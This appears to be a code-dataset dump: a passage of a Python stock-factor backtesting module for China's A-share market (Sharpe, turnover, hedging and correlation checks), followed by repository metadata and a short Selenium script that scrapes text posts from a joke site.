.fillna(method='ffill') return position_df_adj @staticmethod def AZ_Path_create(target_path): """ 添加新路径 :param target_path: :return: """ if not os.path.exists(target_path): os.makedirs(target_path) @staticmethod def AZ_split_stock(stock_list): """ 在stock_list中寻找A股代码 :param stock_list: :return: """ eqa = [x for x in stock_list if (x.startswith('0') or x.startswith('3')) and x.endwith('SZ') or x.startswith('6') and x.endwith('SH')] return eqa @staticmethod def AZ_add_stock_suffix(stock_list): """ whs 给stock_list只有数字的 A股代码 添加后缀 如 000001 运行后 000001.SZ :param stock_list: :return:   """ return list(map(lambda x: x + '.SH' if x.startswith('6') else x + '.SZ', stock_list)) @staticmethod def AZ_Delete_file(target_path, except_list=None): if except_list is None: except_list = [] assert type(except_list) == list file_list = os.listdir(target_path) file_list = list(set(file_list) - set(except_list)) for file_name in sorted(file_list): os.remove(os.path.join(target_path, file_name)) @staticmethod def AZ_turnover(pos_df): diff_sum = pos_df.diff().abs().sum().sum() pos_sum = pos_df.abs().sum().sum() if pos_sum == 0: return .0 return diff_sum / float(pos_sum) @staticmethod def AZ_annual_return(pos_df, return_df): temp_pnl = (pos_df * return_df).sum().sum() temp_pos = pos_df.abs().sum().sum() if temp_pos == 0: return .0 else: return temp_pnl * 250.0 / temp_pos def AZ_fit_ratio(self, pos_df, return_df): """ 传入仓位 和 每日收益 :param pos_df: :param return_df: :return: 时间截面上的夏普 * sqrt(abs(年化)/换手率), 当换手率为0时,返回0 """ sharp_ratio = self.AZ_Sharpe_y((pos_df * return_df).sum(axis=1)) ann_return = self.AZ_annual_return(pos_df, return_df) turnover = self.AZ_turnover(pos_df) if turnover == 0: return .0 else: return round(sharp_ratio * np.sqrt(abs(ann_return) / turnover), 2) def AZ_fit_ratio_rolling(self, pos_df, pnl_df, roll_year=1, year_len=250, min_periods=1, cut_point_list=None, output=False): if cut_point_list is None: cut_point_list = [0.05, 0.33, 0.5, 0.66, 0.95] rolling_sharpe, cut_sharpe = self.AZ_Rolling_sharpe(pnl_df, roll_year=roll_year, year_len=year_len, min_periods=min_periods, cut_point_list=cut_point_list, output=True) rolling_return = pnl_df.rolling(int(roll_year * year_len), min_periods=min_periods).apply( lambda x: 250.0 * x.sum().sum()) rolling_diff_pos = pos_df.diff().abs().sum(axis=1).rolling(int(roll_year * year_len), min_periods=min_periods).apply( lambda x: x.sum().sum()) rolling_return.iloc[:int(roll_year * year_len) - 1] = np.nan rolling_diff_pos.iloc[:int(roll_year * year_len) - 1] = np.nan rolling_fit_ratio = rolling_sharpe * np.sqrt(abs(rolling_return) / rolling_diff_pos) rolling_fit_ratio = rolling_fit_ratio.replace(np.inf, np.nan) rolling_fit_ratio = rolling_fit_ratio.replace(-np.inf, np.nan) cut_fit = rolling_fit_ratio.quantile(cut_point_list) return cut_fit.round(4) @staticmethod def AZ_VAR(pos_df, return_df, confidence_level, backward_len=500, forwward_len=250): tradeDayList = pos_df.index[:-forwward_len] col01 = return_df.columns[0] varList = [] cut_point_list = [0.05, 0.33, 0.5, 0.66, 0.95] if len(tradeDayList) == 0: print('数据量太少') else: for tradeDay in tradeDayList: tempPos = pos_df.loc[tradeDay, :] dayIndex = list(return_df.loc[:tradeDay, col01].index[-backward_len:]) + list( return_df.loc[tradeDay:, col01].index[:forwward_len]) return_df_c = return_df[list(tempPos.index)] historyReturn = list(return_df_c.mul(tempPos, axis=1).loc[dayIndex[0]:dayIndex[-1], :].sum(axis=1)) historyReturn.sort() varList.append(historyReturn[int(len(historyReturn) * confidence_level)]) var = pd.DataFrame({'var': varList}, index=tradeDayList) var = var.dropna() var_fit = var.quantile(cut_point_list) return list(var_fit['var']) bt = BackTest() def filter_all(cut_date, pos_df_daily, pct_n, if_return_pnl=False, if_only_long=False): pnl_df = (pos_df_daily * pct_n).sum(axis=1) pnl_df = pnl_df.replace(np.nan, 0) # pnl_df = pd.Series(pnl_df) # 样本内表现 return_in = pct_n[pct_n.index < cut_date] pnl_df_in = pnl_df[pnl_df.index < cut_date] asset_df_in = pnl_df_in.cumsum() last_asset_in = asset_df_in.iloc[-1] pos_df_daily_in = pos_df_daily[pos_df_daily.index < cut_date] pot_in = AZ_Pot(pos_df_daily_in, last_asset_in) leve_ratio = AZ_Leverage_ratio(asset_df_in) if leve_ratio < 0: leve_ratio = 100 sharpe_q_in_df = bt.AZ_Rolling_sharpe(pnl_df_in, roll_year=1, year_len=250, min_periods=1, cut_point_list=[0.3, 0.5, 0.7], output=False) sp_in = bt.AZ_Sharpe_y(pnl_df_in) fit_ratio = bt.AZ_fit_ratio(pos_df_daily_in, return_in) ic = round(bt.AZ_Normal_IC(pos_df_daily_in, pct_n, min_valids=None, lag=0).mean(), 6) sharpe_q_in_df_u, sharpe_q_in_df_m, sharpe_q_in_df_d = sharpe_q_in_df.values in_condition_u = sharpe_q_in_df_u > 0.9 and leve_ratio > 1 in_condition_d = sharpe_q_in_df_d < -0.9 and leve_ratio > 1 # 分双边和只做多 if if_only_long: in_condition = in_condition_u else: in_condition = in_condition_u | in_condition_d if sharpe_q_in_df_m > 0: way = 1 else: way = -1 # 样本外表现 pnl_df_out = pnl_df[pnl_df.index >= cut_date] out_condition, sharpe_q_out = out_sample_perf_c(pnl_df_out, way=way) if if_return_pnl: return in_condition, out_condition, ic, sharpe_q_in_df_u, sharpe_q_in_df_m, sharpe_q_in_df_d, pot_in, \ fit_ratio, leve_ratio, sp_in, sharpe_q_out, pnl_df else: return in_condition, out_condition, ic, sharpe_q_in_df_u, sharpe_q_in_df_m, sharpe_q_in_df_d, pot_in, \ fit_ratio, leve_ratio, sp_in, sharpe_q_out def mul_fun(a, b): a_l = a.where(a > 0, 0) a_s = a.where(a < 0, 0) b_l = b.where(b > 0, 0) b_s = b.where(b < 0, 0) pos_l = a_l.mul(b_l) pos_s = a_s.mul(b_s) pos = pos_l.sub(pos_s) return pos def sub_fun(a, b): return a.sub(b) def add_fun(a, b): return a.add(b) def AZ_Cut_window(df, begin_date, end_date=None, column=None): if column is None: if end_date is None: return df[df.index > begin_date] else: return df[(df.index > begin_date) & (df.index < end_date)] else: if end_date is None: return df[df[column] > begin_date] else: return df[(df[column] > begin_date) & (df[column] < end_date)] def AZ_Leverage_ratio(asset_df): """ 返回250天的return/(负的 一个月的return) :param asset_df: :return: """ asset_20 = asset_df - asset_df.shift(20) asset_250 = asset_df - asset_df.shift(250) if asset_250.mean() > 0: return round(asset_250.mean() / (-asset_20.min()), 2) else: return round(asset_250.mean() / (-asset_20.max()), 2) def pos_daily_fun(df, n=5): return df.rolling(window=n, min_periods=1).sum() def AZ_Pot(pos_df_daily, last_asset): trade_times = pos_df_daily.diff().abs().sum().sum() if trade_times == 0: return 0 else: pot = last_asset / trade_times * 10000 return round(pot, 2) def out_sample_perf_c(pnl_df_out, way=1): # 根据sharpe大小,统计样本外的表现 # if cut_point_list is None: # cut_point_list = [0.30] # if way == 1: # rolling_sharpe, cut_sharpe = \ # bt.AZ_Rolling_sharpe(pnl_df_out, roll_year=0.5, year_len=250, cut_point_list=cut_point_list, output=True) # else: # rolling_sharpe, cut_sharpe = \ # bt.AZ_Rolling_sharpe(-pnl_df_out, roll_year=0.5, year_len=250, cut_point_list=cut_point_list, output=True) if way == 1: sharpe_out = bt.AZ_Sharpe_y(pnl_df_out) else: sharpe_out = bt.AZ_Sharpe_y(-pnl_df_out) out_condition = sharpe_out > 0.8 return out_condition, round(sharpe_out * way, 2) def create_fun_set_2(fun_set): mix_fun_set = [] for fun_1, fun_2 in product(fun_set, repeat=2): exe_str_1 = """def {0}_{1}_fun(a, b, c): mix_1 = {0}_fun(a, b) mix_2 = {1}_fun(mix_1, c) return mix_2 """.format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0]) exec(compile(exe_str_1, '', 'exec')) exec('mix_fun_set += [{0}_{1}_fun]'.format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0])) return mix_fun_set def create_fun_set_2_(fun_set): mix_fun_set = {} for fun_1, fun_2 in product(fun_set, repeat=2): exe_str_1 = """def {0}_{1}_fun(a, b, c): mix_1 = {0}_fun(a, b) mix_2 = {1}_fun(mix_1, c) return mix_2 """.format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0]) exec(compile(exe_str_1, '', 'exec')) exec('mix_fun_set[\'{0}_{1}_fun\'] = {0}_{1}_fun' .format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0])) return mix_fun_set def create_fun_set_2_crt(): fun_2 = mul_fun mix_fun_set = [] for fun_1 in [add_fun, sub_fun, mul_fun]: exe_str_1 = """def {0}_{1}_fun(a, b, c): mix_1 = {0}_fun(a, b) mix_2 = {1}_fun(mix_1, c) return mix_2 """.format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0]) exec(compile(exe_str_1, '', 'exec')) exec('mix_fun_set += [{0}_{1}_fun]'.format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0])) return mix_fun_set def create_fun_set_2_crt_(): fun_2 = mul_fun mix_fun_set = dict() for fun_1 in [add_fun, sub_fun, mul_fun]: exe_str_1 = """def {0}_{1}_fun(a, b, c): mix_1 = {0}_fun(a, b) mix_2 = {1}_fun(mix_1, c) return mix_2 """.format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0]) exec(compile(exe_str_1, '', 'exec')) exec('mix_fun_set[\'{0}_{1}_fun\'] = {0}_{1}_fun' .format(fun_1.__name__.split('_')[0], fun_2.__name__.split('_')[0])) return mix_fun_set class FactorTest: def __init__(self, root_path, if_save, if_new_program, begin_date, cut_date, end_date, time_para_dict, sector_name, hold_time, lag, return_file, if_hedge, if_only_long, if_weight=0.5, ic_weight=0.5, para_adj_set_list=None): self.root_path = root_path self.if_save = if_save self.if_new_program = if_new_program self.begin_date = begin_date self.cut_date = cut_date self.end_date = end_date self.time_para_dict = time_para_dict self.sector_name = sector_name self.hold_time = hold_time self.lag = lag self.return_file = return_file self.if_hedge = if_hedge self.if_only_long = if_only_long self.if_weight = if_weight self.ic_weight = ic_weight if para_adj_set_list is None: self.para_adj_set_list = [ {'pot_in_num': 50, 'leve_ratio_num': 2, 'sp_in': 1.5, 'ic_num': 0.0, 'fit_ratio': 2}, {'pot_in_num': 40, 'leve_ratio_num': 2, 'sp_in': 1.5, 'ic_num': 0.0, 'fit_ratio': 2}, {'pot_in_num': 50, 'leve_ratio_num': 2, 'sp_in': 1, 'ic_num': 0.0, 'fit_ratio': 1}, {'pot_in_num': 50, 'leve_ratio_num': 1, 'sp_in': 1, 'ic_num': 0.0, 'fit_ratio': 2}, {'pot_in_num': 50, 'leve_ratio_num': 1, 'sp_in': 1, 'ic_num': 0.0, 'fit_ratio': 1}, {'pot_in_num': 40, 'leve_ratio_num': 1, 'sp_in': 1, 'ic_num': 0.0, 'fit_ratio': 1}] return_choose = self.load_return_data() self.xinx = return_choose.index sector_df = self.load_sector_data() self.xnms = sector_df.columns return_choose = return_choose.reindex(columns=self.xnms) self.sector_df = sector_df.reindex(index=self.xinx) # print('Loaded sector DataFrame!') if if_hedge: if ic_weight + if_weight != 1: exit(-1) else: if_weight = 0 ic_weight = 0 index_df_1 = self.load_index_data('000300').fillna(0) # index_weight_1 = self.load_index_weight_data('000300') index_df_2 = self.load_index_data('000905').fillna(0) # index_weight_2 = self.load_index_weight_data('000905') # # weight_df = if_weight * index_weight_1 + ic_weight * index_weight_2 hedge_df = if_weight * index_df_1 + ic_weight * index_df_2 self.return_choose = return_choose.sub(hedge_df, axis=0) # print('Loaded return DataFrame!') suspendday_df, limit_buy_sell_df = self.load_locked_data() limit_buy_sell_df_c = limit_buy_sell_df.shift(-1) limit_buy_sell_df_c.iloc[-1] = 1 suspendday_df_c = suspendday_df.shift(-1) suspendday_df_c.iloc[-1] = 1 self.suspendday_df_c = suspendday_df_c self.limit_buy_sell_df_c = limit_buy_sell_df_c # print('Loaded suspendday_df and limit_buy_sell DataFrame!') def reindex_fun(self, df): return df.reindex(index=self.xinx, columns=self.xnms) @staticmethod def create_log_save_path(target_path): top_path = os.path.split(target_path)[0] if not os.path.exists(top_path): os.mkdir(top_path) if not os.path.exists(target_path): os.mknod(target_path) @staticmethod def row_extre(raw_df, sector_df, percent): raw_df = raw_df * sector_df target_df = raw_df.rank(axis=1, pct=True) target_df[target_df >= 1 - percent] = 1 target_df[target_df <= percent] = -1 target_df[(target_df > percent) & (target_df < 1 - percent)] = 0 return target_df @staticmethod def pos_daily_fun(df, n=5): return df.rolling(window=n, min_periods=1).sum() def check_factor(self, name_list, file_name): load_path = os.path.join('/mnt/mfs/dat_whs/data/new_factor_data/' + self.sector_name) exist_factor = set([x[:-4] for x in os.listdir(load_path)]) print() use_factor = set(name_list) a = use_factor - exist_factor if len(a) != 0: print('factor not enough!') print(a) print(len(a)) send_email.send_email(f'{file_name} factor not enough!', ['whs@yingpei.com'], [], 'Factor Test Warning!') @staticmethod def create_all_para(tech_name_list, funda_name_list): target_list_1 = [] for tech_name in tech_name_list: for value in combinations(funda_name_list, 2): target_list_1 += [[tech_name] + list(value)] target_list_2 = [] for funda_name in funda_name_list: for value in combinations(tech_name_list, 2): target_list_2 += [[funda_name] + list(value)] target_list = target_list_1 + target_list_2 return target_list # 获取剔除新股的矩阵 def get_new_stock_info(self, xnms, xinx): new_stock_data = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Tab01/CDSY_SECUCODE/LISTSTATE.csv')) new_stock_data.fillna(method='ffill', inplace=True) # 获取交易日信息 return_df = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Funda/DERIVED_14/aadj_r.csv')).astype(float) trade_time = return_df.index new_stock_data = new_stock_data.reindex(index=trade_time).fillna(method='ffill') target_df = new_stock_data.shift(40).notnull().astype(int) target_df = target_df.reindex(columns=xnms, index=xinx) return target_df # 获取剔除st股票的矩阵 def get_st_stock_info(self, xnms, xinx): data = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Tab01/CDSY_CHANGEINFO/CHANGEA.csv')) data = data.reindex(columns=xnms, index=xinx) data.fillna(method='ffill', inplace=True) data = data.astype(str) target_df = data.applymap(lambda x: 0 if 'ST' in x or 'PT' in x else 1) return target_df def load_return_data(self): return_choose = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Funda/DERIVED_14/aadj_r.csv')) return_choose = return_choose[(return_choose.index >= self.begin_date) & (return_choose.index < self.end_date)] return return_choose # 获取sector data def load_sector_data(self): market_top_n = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Funda/DERIVED_10/' + self.sector_name + '.csv')) market_top_n = market_top_n.reindex(index=self.xinx) market_top_n.dropna(how='all', axis='columns', inplace=True) xnms = market_top_n.columns xinx = market_top_n.index new_stock_df = self.get_new_stock_info(xnms, xinx) st_stock_df = self.get_st_stock_info(xnms, xinx) sector_df = market_top_n * new_stock_df * st_stock_df sector_df.replace(0, np.nan, inplace=True) return sector_df def load_index_weight_data(self, index_name): index_info = bt.AZ_Load_csv(self.root_path + f'/EM_Funda/IDEX_YS_WEIGHT_A/SECURITYNAME_{index_name}.csv') index_info = self.reindex_fun(index_info) index_mask = (index_info.notnull() * 1).replace(0, np.nan) mkt_cap = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Funda/LICO_YS_STOCKVALUE/AmarketCapExStri.csv')) mkt_roll = mkt_cap.rolling(250, min_periods=0).mean() mkt_roll = self.reindex_fun(mkt_roll) mkt_roll_qrt = np.sqrt(mkt_roll) mkt_roll_qrt_index = mkt_roll_qrt * index_mask index_weight = mkt_roll_qrt_index.div(mkt_roll_qrt_index.sum(axis=1), axis=0) return index_weight # 涨跌停都不可交易 def load_locked_data(self): raw_suspendday_df = bt.AZ_Load_csv( os.path.join(self.root_path, 'EM_Funda/TRAD_TD_SUSPENDDAY/SUSPENDREASON.csv')) suspendday_df = raw_suspendday_df.isnull().astype(int) suspendday_df = suspendday_df.reindex(columns=self.xnms, index=self.xinx, fill_value=True) suspendday_df.replace(0, np.nan, inplace=True) return_df = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Funda/DERIVED_14/aadj_r.csv')).astype(float) limit_buy_sell_df = (return_df.abs() < 0.095).astype(int) limit_buy_sell_df = limit_buy_sell_df.reindex(columns=self.xnms, index=self.xinx, fill_value=1) limit_buy_sell_df.replace(0, np.nan, inplace=True) return suspendday_df, limit_buy_sell_df # 获取index data def load_index_data(self, index_name): data = bt.AZ_Load_csv(os.path.join(self.root_path, 'EM_Funda/INDEX_TD_DAILYSYS/CHG.csv')) target_df = data[index_name].reindex(index=self.xinx) return target_df * 0.01 # 读取部分factor def load_part_factor(self, sector_name, xnms, xinx, file_list): factor_set = OrderedDict() for file_name in file_list: load_path = os.path.join('/mnt/mfs/dat_whs/data/new_factor_data/' + sector_name) target_df = pd.read_pickle(os.path.join(load_path, file_name + '.pkl')) factor_set[file_name] = target_df.reindex(columns=xnms, index=xinx).fillna(0) return factor_set # 读取factor def load_factor(self, file_name): factor_set = OrderedDict() load_path = os.path.join('/mnt/mfs/dat_whs/data/new_factor_data/' + self.sector_name) target_df = pd.read_pickle(os.path.join(load_path, file_name + '.pkl')) factor_set[file_name] = target_df.reindex(columns=self.xnms, index=self.xinx).fillna(0) return factor_set def deal_mix_factor(self, mix_factor): if self.if_only_long: mix_factor = mix_factor[mix_factor > 0] # 下单日期pos order_df = mix_factor.replace(np.nan, 0) # 排除入场场涨跌停的影响 order_df = order_df * self.sector_df * self.limit_buy_sell_df_c * self.suspendday_df_c order_df = order_df.div(order_df.abs().sum(axis=1).replace(0, np.nan), axis=0) order_df[order_df > 0.05] = 0.05 order_df[order_df < -0.05] = -0.05 daily_pos = pos_daily_fun(order_df, n=self.hold_time) daily_pos.fillna(0, inplace=True) # 排除出场涨跌停的影响 daily_pos = daily_pos * self.limit_buy_sell_df_c * self.suspendday_df_c daily_pos.fillna(method='ffill', inplace=True) return daily_pos def save_load_control(self, tech_name_list, funda_name_list, suffix_name, file_name): # 参数存储与加载的路径控制 result_save_path = '/mnt/mfs/dat_whs/result' if self.if_new_program: now_time = datetime.now().strftime('%Y%m%d_%H%M') if self.if_only_long: file_name = '{}_{}_{}_hold_{}_{}_{}_long.txt' \ .format(self.sector_name, self.if_hedge, now_time, self.hold_time, self.return_file, suffix_name) else: file_name = '{}_{}_{}_hold_{}_{}_{}.txt' \ .format(self.sector_name, self.if_hedge, now_time, self.hold_time, self.return_file, suffix_name) log_save_file = os.path.join(result_save_path, 'log', file_name) result_save_file = os.path.join(result_save_path, 'result', file_name) para_save_file = os.path.join(result_save_path, 'para', file_name) para_dict = dict() para_ready_df = pd.DataFrame(list(self.create_all_para(tech_name_list, funda_name_list))) total_para_num = len(para_ready_df) if self.if_save: self.create_log_save_path(log_save_file) self.create_log_save_path(result_save_file) self.create_log_save_path(para_save_file) para_dict['para_ready_df'] = para_ready_df para_dict['tech_name_list'] = tech_name_list para_dict['funda_name_list'] = funda_name_list pd.to_pickle(para_dict, para_save_file) else: log_save_file = os.path.join(result_save_path, 'log', file_name) result_save_file = os.path.join(result_save_path, 'result', file_name) para_save_file = os.path.join(result_save_path, 'para', file_name) para_tested_df = pd.read_table(log_save_file, sep='|', header=None, index_col=0) para_all_df = pd.read_pickle(para_save_file) total_para_num = len(para_all_df) para_ready_df = para_all_df.loc[sorted(list(set(para_all_df.index) - set(para_tested_df.index)))] print(file_name) print(f'para_num:{len(para_ready_df)}') return para_ready_df, log_save_file, result_save_file, total_para_num @staticmethod def create_all_para_(change_list, ratio_list, tech_list): target_list = list(product(change_list, ratio_list, tech_list)) return target_list def save_load_control_(self, change_list, ratio_list, tech_list, suffix_name, file_name): # 参数存储与加载的路径控制 result_save_path = '/mnt/mfs/dat_whs/result' if self.if_new_program: now_time = datetime.now().strftime('%Y%m%d_%H%M') if self.if_only_long: file_name = '{}_{}_{}_hold_{}_{}_{}_long.txt' \ .format(self.sector_name, self.if_hedge, now_time, self.hold_time, self.return_file, suffix_name) else: file_name = '{}_{}_{}_hold_{}_{}_{}.txt' \ .format(self.sector_name, self.if_hedge, now_time, self.hold_time, self.return_file, suffix_name) log_save_file = os.path.join(result_save_path, 'log', file_name) result_save_file = os.path.join(result_save_path, 'result', file_name) para_save_file = os.path.join(result_save_path, 'para', file_name) para_dict = dict() para_ready_df = pd.DataFrame(list(self.create_all_para_(change_list, ratio_list, tech_list))) total_para_num = len(para_ready_df) if self.if_save: self.create_log_save_path(log_save_file) self.create_log_save_path(result_save_file) self.create_log_save_path(para_save_file) para_dict['para_ready_df'] = para_ready_df para_dict['change_list'] = change_list para_dict['ratio_list'] = ratio_list para_dict['tech_list'] = tech_list pd.to_pickle(para_dict, para_save_file) else: log_save_file = os.path.join(result_save_path, 'log', file_name) result_save_file = os.path.join(result_save_path, 'result', file_name) para_save_file = os.path.join(result_save_path, 'para', file_name) para_tested_df = pd.read_table(log_save_file, sep='|', header=None, index_col=0) para_all_df = pd.read_pickle(para_save_file) total_para_num = len(para_all_df) para_ready_df = para_all_df.loc[sorted(list(set(para_all_df.index) - set(para_tested_df.index)))] print(file_name) print(f'para_num:{len(para_ready_df)}') return para_ready_df, log_save_file, result_save_file, total_para_num class FactorTestSector(FactorTest): def __init__(self, *args): super(FactorTestSector, self).__init__(*args) def load_remy_factor_2(self, file_name, sector_name): if sector_name.startswith('market_top_300plus'): factor_path = '/mnt/mfs/DAT_EQT/EM_Funda/DERIVED_F3/T300P' elif sector_name.startswith('market_top_300to800plus'): factor_path = '/mnt/mfs/DAT_EQT/EM_Funda/DERIVED_F3/T500P' else: factor_path = '/mnt/mfs/DAT_EQT/EM_Funda/DERIVED_F3/T500P' raw_df = bt.AZ_Load_csv(f'{factor_path}/{file_name}') a = list(set(raw_df.iloc[-1, :100].dropna().values)) tmp_df = raw_df.reindex(index=self.xinx, columns=self.xnms) if len(a) > 5: target_df = self.row_extre(tmp_df, self.sector_df, 0.3) else: target_df = tmp_df pass if self.if_only_long: target_df = target_df[target_df > 0] return target_df def single_test(self, name_1): factor_1 = self.load_remy_factor_2(name_1, self.sector_name) daily_pos = self.deal_mix_factor(factor_1).shift(2) in_condition, out_condition, ic, sharpe_q_in_df_u, sharpe_q_in_df_m, sharpe_q_in_df_d, pot_in, \ fit_ratio, leve_ratio, sp_in, sharpe_q_out, pnl_df = filter_all(self.cut_date, daily_pos, self.return_choose, if_return_pnl=True, if_only_long=self.if_only_long) if bt.AZ_Sharpe_y(pnl_df) > 0: return 1 else: return -1 def single_test_c(self, name_list): mix_factor = pd.DataFrame() for i in range(len(name_list)): tmp_name = name_list[i] buy_sell_way = self.single_test(tmp_name) tmp_factor = self.load_remy_factor_2(tmp_name, self.sector_name) mix_factor = mix_factor.add(tmp_factor * buy_sell_way, fill_value=0) # daily_pos = self.deal_mix_factor(mix_factor).shift(2) # in_condition, out_condition, ic, sharpe_q_in_df_u, sharpe_q_in_df_m, sharpe_q_in_df_d, pot_in, \ # fit_ratio, leve_ratio, sp_in, sharpe_q_out, pnl_df = \ # filter_all(self.cut_date, daily_pos, self.return_choose, if_return_pnl=True, if_only_long=False) # print(in_condition, out_condition, ic, sharpe_q_in_df_u, sharpe_q_in_df_m, sharpe_q_in_df_d, # pot_in, fit_ratio, leve_ratio, sp_in, sharpe_q_out) return mix_factor def load_index_data(index_name, xinx): data = bt.AZ_Load_csv(os.path.join('/mnt/mfs/DAT_EQT', 'EM_Tab09/INDEX_TD_DAILYSYS/CHG.csv')) target_df = data[index_name].reindex(index=xinx) return target_df * 0.01 def get_corr_matrix(cut_date=None): pos_file_list = [x for x in os.listdir('/mnt/mfs/AAPOS') if x.startswith('WHS')] return_df = bt.AZ_Load_csv('/media/hdd1/DAT_EQT/EM_Funda/DERIVED_14/aadj_r.csv').astype(float) index_df_1 = load_index_data('000300', return_df.index).fillna(0) index_df_2 = load_index_data('000905', return_df.index).fillna(0) sum_pnl_df = pd.DataFrame() for pos_file_name in pos_file_list: pos_df = bt.AZ_Load_csv('/mnt/mfs/AAPOS/{}'.format(pos_file_name)) cond_1 = 'IF01' in pos_df.columns cond_2 = 'IC01' in pos_df.columns if cond_1 and cond_2: hedge_df = 0.5 * index_df_1 + 0.5 * index_df_2 return_df_c = return_df.sub(hedge_df, axis=0) elif cond_1: hedge_df = index_df_1 return_df_c = return_df.sub(hedge_df, axis=0) elif cond_2: hedge_df = index_df_2 return_df_c = return_df.sub(hedge_df, axis=0) else: print('alpha hedge error') continue pnl_df = (pos_df.shift(2) * return_df_c).sum(axis=1) pnl_df.name = pos_file_name sum_pnl_df = pd.concat([sum_pnl_df, pnl_df], axis=1) # plot_send_result(pnl_df, bt.AZ_Sharpe_y(pnl_df), 'mix_factor') if cut_date is not None: sum_pnl_df = sum_pnl_df[sum_pnl_df.index > cut_date] return sum_pnl_df def get_all_pnl_corr(pnl_df, col_name): all_pnl_df = pd.read_csv('/mnt/mfs/AATST/corr_tst_pnls', sep='|', index_col=0, parse_dates=True) all_pnl_df_c = pd.concat([all_pnl_df, pnl_df], axis=1) a = all_pnl_df_c.iloc[-600:].corr()[col_name] print(a[a > 0.5]) return a[a > 0.65] def corr_test_fun(pnl_df, alpha_name): sum_pnl_df = get_corr_matrix(cut_date=None) sum_pnl_df_c = pd.concat([sum_pnl_df, pnl_df], axis=1) corr_self = sum_pnl_df_c.corr()[[alpha_name]] other_corr = get_all_pnl_corr(pnl_df, alpha_name) # print(other_corr) self_corr = corr_self[corr_self > 0.65].dropna(axis=0) print(corr_self[corr_self > 0.5].dropna(axis=0)) if len(self_corr) >= 2 or len(other_corr) >= 2: print('FAIL!') send_email.send_email('FAIL!\n' + self_corr.to_html(), ['whs@yingpei.com'], [], '[RESULT DEAL]' + alpha_name) else: print('SUCCESS!') send_email.send_email('SUCCESS!\n' + self_corr.to_html(), ['whs@yingpei.com'], [], '[RESULT DEAL]' + alpha_name) print('______________________________________') return 0 def config_test(): factor_str = 'REMRATIO.ADJV02.018|REMRATIO.ADCH01.080|REMRATIO.ADJV02.058|REMRATIO.VAGR02.018|REMRATIO.ADCH01.081' info_str = 'market_top_300to800plus|20|False' factor_name_list = factor_str.split('|') alpha_name = 'WHSTINKER13' sector_name, hold_time, if_only_long = info_str.split('|') hold_time = int(hold_time) if if_only_long == 'True': if_only_long = True else: if_only_long = False cut_date = '20180601' begin_date = pd.to_datetime('20130101') end_date = datetime.now() root_path = '/media/hdd1/DAT_EQT' # root_path = '/mnt/mfs/DAT_EQT' if_save = False if_new_program = True lag = 2 return_file = '' if_hedge = True if sector_name.startswith('market_top_300plus'): if_weight = 1 ic_weight = 0 elif sector_name.startswith('market_top_300to800plus'): if_weight = 0 ic_weight = 1 else: if_weight = 0.5 ic_weight = 0.5 time_para_dict = dict() main = FactorTestSector(root_path, if_save, if_new_program, begin_date, cut_date, end_date, time_para_dict, sector_name, hold_time, lag, return_file, if_hedge, if_only_long, if_weight, ic_weight) mix_factor = main.single_test_c(factor_name_list) sum_pos_df_new = main.deal_mix_factor(mix_factor) if if_weight != 0: sum_pos_df_new['IF01'] = -if_weight * sum_pos_df_new.sum(axis=1) if ic_weight != 0: sum_pos_df_new['IC01'] = -ic_weight * sum_pos_df_new.sum(axis=1) pnl_df = (sum_pos_df_new.shift(2) * main.return_choose).sum(axis=1) pnl_df.name = alpha_name corr_test_fun(pnl_df, alpha_name) plot_send_result(pnl_df, bt.AZ_Sharpe_y(pnl_df), alpha_name) sum_pos_df_new.round(10).fillna(0).to_csv(f'/mnt/mfs/AAPOS/{alpha_name}.pos', sep='|', index_label='Date') return sum_pos_df_new if __name__ == '__main__': t1 = time.time() sum_pos_df = config_test() t2 = time.time() print(round(t2 - t1, 4))
[ "1612255875@qq.com" ]
1612255875@qq.com
a52e7b37c644fdf27dd6a147fb363750beeb1170
5be8b0f2ee392abeee6970e7a6364ac9a5b8ceaa
/xiaojian/xiaojian/forth_phase/spider/day06/10_element_elements.py
543da3b7503da3b4d136930167ade6a5d0bf9d12
[]
no_license
Wellsjian/20180826
424b65f828f0174e4d568131da01dafc2a36050a
0156ad4db891a2c4b06711748d2624080578620c
refs/heads/master
2021-06-18T12:16:08.466177
2019-09-01T10:06:44
2019-09-01T10:06:44
204,462,572
0
1
null
2021-04-20T18:26:03
2019-08-26T11:38:09
JavaScript
UTF-8
Python
false
false
359
py
from selenium import webdriver browser = webdriver.Chrome() browser.get('https://www.qiushibaike.com/text/') div = browser.find_element_by_class_name('content') print(div.text) divs = browser.find_elements_by_class_name('content') for div in divs: print('\033[36m------------------------\033[0m') print("*"*60) print(div.text) print('*'*60)
[ "1149158963@qq.com" ]
1149158963@qq.com
7eeebdbd1ca8d9eb2c0e18ced034e18ec6d015fc
3859ee7a1694f30c69e4cb4ee392f3e197b23aaa
/setup.py
47709527027d8e6f99ae7e17716a84e46f4be6f2
[]
no_license
ibell/achp
71467905986ae5f0c7dcab0b2ca98bfd0aa30977
1003d16c651447d0068173e6d3186ebae9672bb1
refs/heads/master
2016-08-02T21:40:56.971781
2013-10-26T23:33:45
2013-10-26T23:33:45
12,282,085
8
1
null
null
null
null
UTF-8
Python
false
false
1,475
py
